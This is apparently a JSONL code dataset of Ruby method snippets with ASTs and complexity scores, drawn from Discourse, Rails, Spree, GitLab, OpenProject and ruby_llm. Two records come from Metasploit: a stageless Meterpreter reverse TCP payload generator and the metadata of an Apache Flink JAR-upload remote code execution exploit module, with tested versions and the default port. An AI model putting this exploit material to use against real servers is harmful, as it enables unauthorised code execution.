{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":1323,"raw_source":"def pick_avatar\n    user = fetch_user_from_params\n    guardian.ensure_can_edit!(user)\n\n    if SiteSetting.discourse_connect_overrides_avatar || SiteSetting.auth_overrides_avatar\n      return render json: failed_json, status: :unprocessable_entity\n    end\n\n    type = params[:type]\n\n    if type == \"gravatar\" && !SiteSetting.gravatar_enabled?\n      return render json: failed_json, status: :unprocessable_entity\n    end\n\n    invalid_type = type.present? && !AVATAR_TYPES_WITH_UPLOAD.include?(type) && type != \"system\"\n    return render json: failed_json, status: :unprocessable_entity if invalid_type\n\n    if type.blank? || type == \"system\"\n      upload_id = nil\n    elsif !user.in_any_groups?(SiteSetting.uploaded_avatars_allowed_groups_map) &&\n          !user.is_system_user?\n      return render json: failed_json, status: :unprocessable_entity\n    else\n      upload_id = params[:upload_id]\n      upload = Upload.find_by(id: upload_id)\n\n      return render_json_error I18n.t(\"avatar.missing\") if upload.nil?\n\n      # old safeguard\n      user.create_user_avatar unless user.user_avatar\n\n      guardian.ensure_can_pick_avatar!(user.user_avatar, upload)\n\n      if type == \"gravatar\"\n        user.user_avatar.gravatar_upload_id = upload_id\n      else\n        user.user_avatar.custom_upload_id = upload_id\n      end\n    end\n\n    SiteSetting.use_site_small_logo_as_system_avatar = false if user.is_system_user?\n\n    user.uploaded_avatar_id = upload_id\n    user.save!\n    user.user_avatar.save!\n\n    render json: success_json\n  end","complexity_score":88.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pick_avatar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"fetch_user_from_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_edit!\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"discourse_connect_overrides_avatar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"auth_overrides_avatar\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"gravatar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"gravatar_enabled?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"invalid_type\",{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AVATAR_TYPES_WITH_UPLOAD\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"!=\",{\"type\":\"str\",\"children\":[\"system\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_type\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"system\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"in_any_groups?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"uploaded_avatars_allowed_groups_map\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"is_system_user?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"upload_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"upload_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"avatar.missing\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_avatar\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"create_user_avatar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_pick_avatar!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_avatar\"]},{\"type\":\"lvar\",\"children\":[\"upload\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"gravatar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_avatar\"]},\"gravatar_upload_id=\",{\"type\":\"lvar\",\"children\":[\"upload_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_avatar\"]},\"custom_upload_id=\",{\"type\":\"lvar\",\"children\":[\"upload_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"is_system_user?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"use_site_small_logo_as_system_avatar=\",{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"uploaded_avatar_id=\",{\"type\":\"lvar\",\"children\":[\"upload_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"user_avatar\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"636e849b-3509-4861-83b2-6d9dddac84bb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb","start_line":37,"raw_source":"def generate(opts = {})\n    opts[:stageless] = true\n    stage_meterpreter(opts) + generate_config(opts)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"stageless\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stage_meterpreter\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_config\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}","id":"567be3b0-5155-43d9-8972-5fb1683b5e1f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_ext_test.rb","start_line":944,"raw_source":"def test_days_in_year_in_common_year_without_year_arg\n    Time.stub(:now, Time.utc(2007)) do\n      assert_equal 365, Time.days_in_year\n    end\n  end","complexity_score":6.28,"ast_json":"{\"type\":\"def\",\"children\":[\"test_days_in_year_in_common_year_without_year_arg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2007]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[365]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"days_in_year\"]}]}]}]}","id":"a5241fe0-e8f1-4c17-9154-881c7255a2a0"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":228,"raw_source":"def test_validates_length_of_custom_errors_for_maximum_with_message\n    Topic.validates_length_of(:title, maximum: 5, message: \"boo %{count}\")\n    t = Topic.new(\"title\" => \"uhohuhoh\", \"content\" => \"whatever\")\n    assert_predicate t, :invalid?\n    assert_predicate t.errors[:title], :any?\n    assert_equal [\"boo 5\"], t.errors[:title]\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_length_of_custom_errors_for_maximum_with_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maximum\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"boo %{count}\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"uhohuhoh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"whatever\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"sym\",\"children\":[\"any?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"boo 5\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}","id":"0829b049-72c8-4728-a78c-7f4c755d9494"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order_updater.rb","start_line":170,"raw_source":"def update_payment_state\n      last_state = order.payment_state\n      if payments.present? && payments.valid.empty?\n        order.payment_state = 'failed'\n      elsif order.canceled? && order.payment_total == 0\n        order.payment_state = 'void'\n      else\n        order.payment_state = 'balance_due' if order.outstanding_balance > 0\n        order.payment_state = 'credit_owed' if order.outstanding_balance < 0\n        order.payment_state = 'paid' unless order.outstanding_balance?\n      end\n      order.state_changed('payment') if last_state != order.payment_state\n      order.payment_state\n    end","complexity_score":58.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_payment_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_state\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_state\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payments\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payments\"]},\"valid\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_state=\",{\"type\":\"str\",\"children\":[\"failed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"canceled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_total\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_state=\",{\"type\":\"str\",\"children\":[\"void\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"outstanding_balance\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_state=\",{\"type\":\"str\",\"children\":[\"balance_due\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"outstanding_balance\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_state=\",{\"type\":\"str\",\"children\":[\"credit_owed\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"outstanding_balance?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_state=\",{\"type\":\"str\",\"children\":[\"paid\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_state\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_state\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"state_changed\",{\"type\":\"str\",\"children\":[\"payment\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_state\"]}]}]}","id":"a8fd55d4-8076-48fc-be88-196e1e8e10f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":119,"raw_source":"def ssh_key_expired_email\n    fingerprints = []\n    Notify.ssh_key_expired_email(user, fingerprints).message\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ssh_key_expired_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fingerprints\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notify\"]},\"ssh_key_expired_email\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"lvar\",\"children\":[\"fingerprints\"]}]},\"message\"]}]}]}","id":"b91664ec-a674-4199-aa62-5c592aeebeba"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results/sums.rb","start_line":139,"raw_source":"def non_callable_summed_up_columns\n    query.summed_up_columns.map { |column| column.summable.respond_to?(:call) }\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"non_callable_summed_up_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"summed_up_columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"summable\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]}]}]}","id":"24a09c43-a502-46b3-9344-b2906eb5b894"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/deepseek/capabilities.rb","start_line":17,"raw_source":"def max_tokens_for(model_id)\n          case model_id\n          when /deepseek-(?:chat|reasoner)/ then 8_192\n          else 4_096\n          end\n        end","complexity_score":2.68,"ast_json":"{\"type\":\"def\",\"children\":[\"max_tokens_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"deepseek-(?:chat|reasoner)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[8192]}]},{\"type\":\"int\",\"children\":[4096]}]}]}","id":"884d7c2e-7890-47bd-b525-ce81dbcbd2ae"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/journal_changes.rb","start_line":59,"raw_source":"def get_attachments_changes\n    return unless journable&.attachable?\n\n    ::Acts::Journalized::Differ::Association.new(\n      predecessor,\n      self,\n      association: :attachable_journals,\n      id_attribute: :attachment_id,\n      multiple_values: :joined\n    ).single_attribute_changes(\n      :filename,\n      key_prefix: \"attachments\"\n    )\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_attachments_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journable\"]},\"attachable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Acts\"]},\"Journalized\"]},\"Differ\"]},\"Association\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"predecessor\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"association\"]},{\"type\":\"sym\",\"children\":[\"attachable_journals\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id_attribute\"]},{\"type\":\"sym\",\"children\":[\"attachment_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple_values\"]},{\"type\":\"sym\",\"children\":[\"joined\"]}]}]}]},\"single_attribute_changes\",{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key_prefix\"]},{\"type\":\"str\",\"children\":[\"attachments\"]}]}]}]}]}]}","id":"7b55b721-0e85-49e4-9ddb-142755872d48"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/apache_flink_jar_upload_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Flink JAR Upload Java Code Execution',\n        'Description' => %q{\n          This module uses job functionality in Apache Flink dashboard web\n          interface to upload and execute a JAR file, leading to remote\n          execution of arbitrary Java code as the web server user.\n\n          This module has been tested successfully on Apache Flink versions:\n          1.9.3 on Ubuntu 18.04.4;\n          1.11.2 on Ubuntu 18.04.4;\n          1.9.3 on Windows 10; and\n          1.11.2 on Windows 10.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Henry Chen', # Initial technique demonstration and writeup\n          'bigger.wing', # Python exploit\n          'bcoles' # Metasploit module\n        ],\n        'References' => [\n          ['EDB', '48978'],\n          ['PACKETSTORM', '159779'],\n          ['URL', 'https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-'],\n          ['URL', 'https://s.tencent.com/research/bsafe/841.html'],\n          ['URL', 'https://cloud.tencent.com/developer/article/1540439'],\n          ['URL', 'https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/'],\n        ],\n        'Platform' => 'java',\n        'Arch' => [ARCH_JAVA],\n        'Targets' => [\n          ['Automatic', {}]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2019-11-13',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n          'Stability' => [ CRASH_SAFE ],\n          'Reliability' => [ REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(8081)\n    ])\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache Flink JAR Upload Java Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module uses job functionality in Apache Flink dashboard web\\n\"]},{\"type\":\"str\",\"children\":[\"          interface to upload and execute a JAR file, leading to remote\\n\"]},{\"type\":\"str\",\"children\":[\"          execution of arbitrary Java code as the web server user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested successfully on Apache Flink versions:\\n\"]},{\"type\":\"str\",\"children\":[\"          1.9.3 on Ubuntu 18.04.4;\\n\"]},{\"type\":\"str\",\"children\":[\"          1.11.2 on Ubuntu 18.04.4;\\n\"]},{\"type\":\"str\",\"children\":[\"          1.9.3 on Windows 10; and\\n\"]},{\"type\":\"str\",\"children\":[\"          1.11.2 on Windows 10.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Henry Chen\"]},{\"type\":\"str\",\"children\":[\"bigger.wing\"]},{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"48978\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"159779\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://s.tencent.com/research/bsafe/841.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://cloud.tencent.com/developer/article/1540439\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"java\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_JAVA\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-11-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8081]}]}]}]}]}]}","id":"33f174ab-554a-4693-a51a-bc642a0c95c6"}
